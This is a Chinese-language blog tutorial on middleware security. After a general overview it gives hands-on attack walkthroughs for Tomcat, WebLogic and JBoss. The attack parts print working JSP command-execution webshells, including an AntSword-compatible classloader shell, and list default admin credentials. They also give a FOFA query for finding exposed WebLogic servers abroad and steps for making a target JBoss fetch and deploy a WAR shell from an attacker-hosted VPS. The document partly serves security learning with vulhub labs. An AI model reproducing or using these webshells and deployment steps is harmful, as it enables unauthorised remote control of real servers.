中间件安全

一.中间件概述

1.中间件定义

  • 介绍:中间件(Middleware)作为一种软件组件,在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间,就像一座桥梁,负责不同应用程序间的数据传递、通信协调以及网络请求处理

2.中间件的架构与功能

  1. 插件式架构:中间件采用插件式架构,这使得开发人员能轻松将其集成到现有的应用程序里,大大提升了开发的灵活性。

  2. 多样化功能

    • 身份验证与授权:通过身份验证确认用户合法性,再依据授权机制分配不同权限,确保只有合法且权限匹配的用户能访问特定资源。比如企业办公系统,员工凭借用户名和密码登录(身份验证),不同级别员工拥有不同操作权限(授权)。
    • 缓存:缓存常用数据,减少对后端数据库等存储的频繁访问,显著提高系统响应速度。如新闻类应用,将热门文章缓存,用户再次浏览时可快速加载。
    • 负载均衡:把网络请求均匀分散到多个服务器,避免单个服务器负载过重,保障系统在高并发下的稳定运行。以大型电商平台为例,促销活动期间大量用户访问,负载均衡器将请求合理分配。
    • 日志记录:详细记录系统运行中的各类事件,为故障排查、安全审计提供有力依据。如记录服务器上用户的操作行为、登录时间等。
    • 安全性保障:提供基础的安全防护,抵御部分常见网络攻击。

3.中间件范畴

  1. 广义范畴:从广义视角,中间件涵盖了 Web 服务器、身份验证系统、消息传递工具等众多内容。
  2. 具体产品:常见的中间件产品包括 jboss、weblogic、tomcat、apache 等。应用中间件能够有效提升应用程序在可扩展性、可靠性、可维护性以及安全性方面的表现。

二.漏洞剖析

1.漏洞危害

  • 介绍:中间件漏洞指的是中间件软件中存在的安全隐患,攻击者可能利用这些漏洞对系统展开攻击与渗透,从而危及系统安全和数据完整性。

2.漏洞类型

  1. 代码注入漏洞:攻击者向中间件发送恶意代码,借此执行任意代码或获取敏感数据。例如,早期一些未严格过滤输入的 Web 应用,攻击者通过在输入框注入代码,获取数据库关键信息。
  2. 跨站脚本漏洞(XSS):攻击者在中间件输出的网页中插入恶意脚本,可窃取用户信息,如会话 Cookie,或进行恶意重定向等行为。一些小型论坛因缺乏对用户输入内容的有效过滤,曾遭受此类攻击。
  3. SQL 注入漏洞:在中间件处理 SQL 查询时,攻击者插入恶意代码,实现执行任意 SQL 查询,获取数据库敏感数据。如某些管理系统,因对用户输入的查询条件未做严格验证,导致数据库被非法访问。
  4. 认证和授权漏洞:攻击者利用中间件认证与授权机制的缺陷,绕过访问控制,获取系统高级权限。比如某些系统中,攻击者通过篡改认证令牌获取管理员权限。
  5. 文件包含漏洞:攻击者利用中间件的文件包含功能,引入恶意文件并执行其中代码。在一些内容管理系统中,攻击者通过此漏洞上传恶意脚本文件,实现对系统的控制。

3.防御措施

  1. 安全编码:开发人员遵循安全编码规范,对用户输入进行严格验证和过滤,从源头防止恶意代码注入。
  2. 定期更新:及时安装中间件供应商发布的安全补丁,修复已知漏洞,保持中间件的安全性。
  3. 权限管理:合理设置用户权限,遵循最小权限原则,仅赋予用户完成任务所需的最低权限。
  4. 防火墙配置:通过配置防火墙,对中间件的网络访问进行精细控制,阻挡外部非法访问。
  5. 漏洞扫描:借助专业的漏洞扫描工具,定期对中间件进行全面检测,及时发现并修复潜在漏洞。

三.中间件漏洞

1.Tomcat

A.Tomcat
  • 介绍:Tomcat 是一个开源的 Java Servlet 容器,由 Apache 软件基金会开发。Tomcat 对多种 Java 技术提供支持,包括 Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和 WebSocket 等 ,并且拥有许多企业级特性,如集群、安全性和可扩展性,这使其在 Java Web 开发中应用广泛。

  • 使用:

    • 可作为独立的 Web 服务器或应用服务器运行。
    • 也能作为插件集成到其他 Web 服务器,例如 Apache HTTP Server。
B.WAR包
  • 介绍:WAR(Web Application Archive)是 Web 应用程序的一种打包格式,作用是将 Web 应用程序打包成单个文件,极大地方便了应用程序的部署与分发。从本质上讲,WAR 文件属于 JAR(Java Archive)文件的一种,其中包含了 Web 应用程序运行所需的全部内容。

    • 代码相关:Java 类文件,是应用程序逻辑实现的核心部分。
    • 页面相关:HTML、JSP 文件,用于构建用户界面,展示内容给用户。
    • 配置相关:Servlet、XML 配置文件(如 web.xml、context.xml 等),用于配置 Web 应用程序的各种参数和运行规则,决定应用程序如何运行。
    • 静态资源:包含图片、CSS、JavaScript 文件等,用于美化界面和实现交互功能。
C.WAR包上传
  1. 制作WAR包:将jsp木马文件进行压缩后,将压缩文件 .zip​ 改为 .war​

    • jsp文件内容:

      <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
          try {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
              out.println(line);  // 输出命令执行结果
            }
            reader.close();  // 关闭资源
          } catch (IOException e) {
            out.println("Error executing command: " + e.getMessage());
          }
        }
      %>
      
  2. 找到上传点进行上传


  3. 上传成功

  4. 调用一句话木马文件,并成功执行命令


2.Weblogic

  • 介绍: WebLogic Server​ 是美国甲骨文(Oracle​)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE​ 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise​ 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

  • 特征

    1. 默认端口:7001

    2. Web界面:Error 404--Not Found


    3. 控制后台http://ip:7001/console

  • 历史漏洞


  • 影响版本

    • 10.3.6.0

      12.1.3.0

      12.2.1.1

      12.2.1.2

      12.2.1.3

      14.1.1.0

  • 漏洞寻找

    1. 获取资产:shodan、fofa、zoomeye等

      • 示例:fofa:app="BEA-WebLogic-Server" && country!="CN"
    2. 批量扫描脚本:Weblogic一键漏洞检测工具_V1.5

  • 漏洞环境搭建

    • docker pull vulhub/weblogic:10.3.6.0-2017

      docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

A.弱口令
  • 介绍:Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。

    • 默认账密

      访问路径:/console

      账号:weblogic

      密码:Oracle@123

  • ​Weblogic​ 默认口令:

B.GetShell
  1. 准备 .jsp​ 一句话木马文件

      <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
          try {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
              out.println(line);  // 输出命令执行结果
            }
            reader.close();  // 关闭资源
          } catch (IOException e) {
            out.println("Error executing command: " + e.getMessage());
          }
        }
      %>
    
  2. 登录后台后,点击部署​

  3. 点击安装

  4. 点击上载文件

  5. 上传完,并测试

  6. getshell

    • 注意:上面的 .jsp​ 文件不支持蚁剑,蚁剑连接必须使用下面的 yijian.jsp​ 或蚁剑插件生成的jsp webshell

        <%@ page import="java.lang.reflect.Method" %>
        <%!
            class U extends ClassLoader {
                U(ClassLoader c) {
                    super(c);
                }
      
                public Class g(byte[] b) {
                    return super.defineClass(b, 0, b.length);
                }
            }
      
            public byte[] base64Decode(String str) throws Exception {
                try {
                    Class clazz = Class.forName("sun.misc.BASE64Decoder");
                    return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
                } catch (Exception e) {
                    Class clazz = Class.forName("java.util.Base64");
                    Object decoder = clazz.getMethod("getDecoder").invoke(null);
                    return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
                }
            }
        %>
      
        <%
            String cls = request.getParameter("ant");
            if (cls != null) {
                new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
            }
        %>
      

3.JBoss漏洞

  • 介绍:JBoss是一个用于管理EJB(Enterprise JavaBeans)的容器和服务器。它专注于企业级Java应用的开发与部署,本身核心服务并不包含支持servlet/JSP的WEB容器,在实际应用中,通常会与Tomcat或Jetty绑定使用 ,就如同Apache是常见的web服务器,而JBoss则是专门用来运行Java EE程序的应用服务器。

  • 历史漏洞

    1. 访问控制不严导致的漏洞

      • JMX Console 未授权访问 Getshell:Jboss 的 webUI 界面http://ip:port/jmx-console存在未授权访问情况,甚至部分存在默认密码admin/admin。这一漏洞会导致 JBoss 的部署管理信息泄露,攻击者还能借此直接上传木马获取 webshell。
      • Administration Console 弱口令 Getshell:由于用户设置的口令强度不足,攻击者通过简单的猜测或暴力破解,利用弱口令登录 Administration Console,进而获取服务器权限,实现 Getshell。
      • CVE - 2007 - 1036 -- JMX Console HtmlAdaptor Getshell:此漏洞与 JMX Console 的 HtmlAdaptor 相关,攻击者利用该漏洞可以在未授权的情况下获取服务器的控制权,实现 Getshell 操作。
      • CVE - 2010 - 0738 -- JMX 控制台安全验证绕过漏洞:通过特定的手段,攻击者能够绕过 JMX 控制台的安全验证机制,获取对控制台的访问权限,从而进一步实施攻击行为。
    2. 反序列化漏洞

      • CVE - 2013 - 4810 -- JBoss EJBInvokerServlet 反序列化漏洞:JBoss 的 EJBInvokerServlet 存在反序列化漏洞,攻击者可以构造恶意的反序列化数据,利用该漏洞执行任意代码,进而控制服务器。
      • CVE - 2015 - 7501 -- JBoss JMXInvokerServlet 反序列化漏洞:在 JMXInvokerServlet 中,由于反序列化机制的缺陷,攻击者可以发送精心构造的请求,触发反序列化漏洞,实现对服务器的攻击。
      • CVE - 2017 - 7504 -- JBoss 4.x JBossMQ JMS 反序列化漏洞:针对 JBoss 4.x 版本的 JBossMQ JMS 组件,存在反序列化漏洞,攻击者可以利用该漏洞进行远程代码执行,对服务器造成严重威胁。
      • CVE - 2017 - 12149 -- JBosS AS 6.X 反序列化漏洞:在 JBosS AS 6.X 版本中,存在反序列化漏洞,攻击者可以通过发送恶意请求,利用该漏洞获取服务器的控制权。
  • JBoss 漏洞检测工具:一个简单探测jboss漏洞的工具

A.JMX Console 未授权访问漏洞利用
  1. 漏洞利用工具

    • 自动化利用:使用https://gitee.com/yijingsec/JbossVulExploit​进行自动化利用。具体步骤如下:

      • 首先,将文件夹里的bx3.war放到自己的公网服务器上,然后使用 python 启动一个 http 服务,用于提供 war 包的下载。
      • 运行脚本,在脚本中设置Set target url为目标网站,Set vps ip为 war 包所在的 http 服务的 ip,Set vps httpServer port为所启动的 http 服务的端口。完成设置后,即可自动利用漏洞进行攻击,攻击成功后,可使用冰蝎进行连接,获取服务器的控制权。
  2. 手动利用

    • 远程部署 war 包:

      • 找到jboss.deployment​选项(Jboss 自带的部署功能)中的flavor = URL,type = DeploymentScanner​点进去(通过 url 的方式远程部署)。也可以直接输入以下 URL 进入:http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean\&name=jboss.deployment:type=DeploymentScanner,flavor=URL​。

      • 进入页面后找到void addURL()​,开始部署远程的 war 包木马。具体操作如下:

        • 打包 jsp 马为 war 包:jar -cvf shell.war shell.jsp
        • 在 vps 上启动 web 服务:python -m http.server
        • 确定 war 包下载地址:http://vps - IP:8000/shell.war
        • 点击Invoke部署 war 包。
      • 随后点击Back to MBean View​来到URLList​中查看Value​值是否已经部署好,并且为远程 war 木马地址。

      • 最后点击Apply Changes​后耐心等待一会儿(等待时间较长),然后回到JMX - Console​目录中,找到jboss.web.deployment​查看是否存在部署的 war 木马。若存在,则表示部署成功,攻击者可以进一步利用该 war 包获取服务器的控制权。

相关推荐
SY师弟几秒前
蓝桥杯算法赛第25场月赛
java·c语言·数据结构·python·算法·蓝桥杯
Eumenides_max2 分钟前
【股票数据API接口32】如何获取融资融券历史走势股数据之Python、Java等多种主流语言实例代码演示通过股票数据接口获取数据
java·开发语言·python·股票api接口·股票数据接口
王海萧12 分钟前
Glide加载gif遇到的几个坑
android·java·glide
kerwin_code18 分钟前
SpringCloudAlibaba 服务保护 Sentinel 项目集成实践
java·sentinel
gentle_ice24 分钟前
leetcode——搜索二维矩阵II(java)
java·算法·leetcode·矩阵
程序员徐师兄32 分钟前
Java实战项目-基于 springboot 的校园选课小程序(附源码,部署,文档)
java·spring boot·小程序·校园选课·校园选课小程序·选课小程序
hcja66637 分钟前
CVE-2024-23897-Jenkins任意文件读取漏洞复现
运维·web安全·网络安全·中间件·jenkins
PaLu-LI1 小时前
ORB-SLAM2源码学习:Initializer.cc(11): Initializer::ReconstructH用H矩阵恢复R, t和三维点
c++·人工智能·学习·ubuntu·计算机视觉·矩阵
TANGLONG2221 小时前
【C++】类与对象初级应用篇:打造自定义日期类与日期计算器(2w5k字长文附源码)
java·c语言·开发语言·c++·python·面试·跳槽
重生之我在20年代敲代码1 小时前
【C++】string类使用详解
c++·笔记